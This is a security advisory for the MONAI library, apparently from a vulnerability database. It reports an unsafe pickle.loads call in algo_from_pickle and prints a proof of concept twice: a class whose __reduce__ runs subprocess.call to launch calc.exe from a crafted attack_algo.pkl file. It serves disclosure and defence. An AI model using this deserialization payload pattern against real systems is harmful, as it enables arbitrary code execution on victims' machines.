MONAI: Unsafe functions lead to pickle deserialization rce
### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
MONAI: Unsafe functions lead to pickle deserialization rce
Description
### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
CVSS v3.1
Score 7.6high
Affected software
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Weaknesses
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-89gg-p5r5-q6r4
- Osv Schema Version
- 1.4.0
- Aliases
- []
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a6daad5bf32cb7a346679e6
Added to database: 08/01/2026, 08:14:13 UTC
Last updated: 08/01/2026, 08:14:13 UTC
Views: 1
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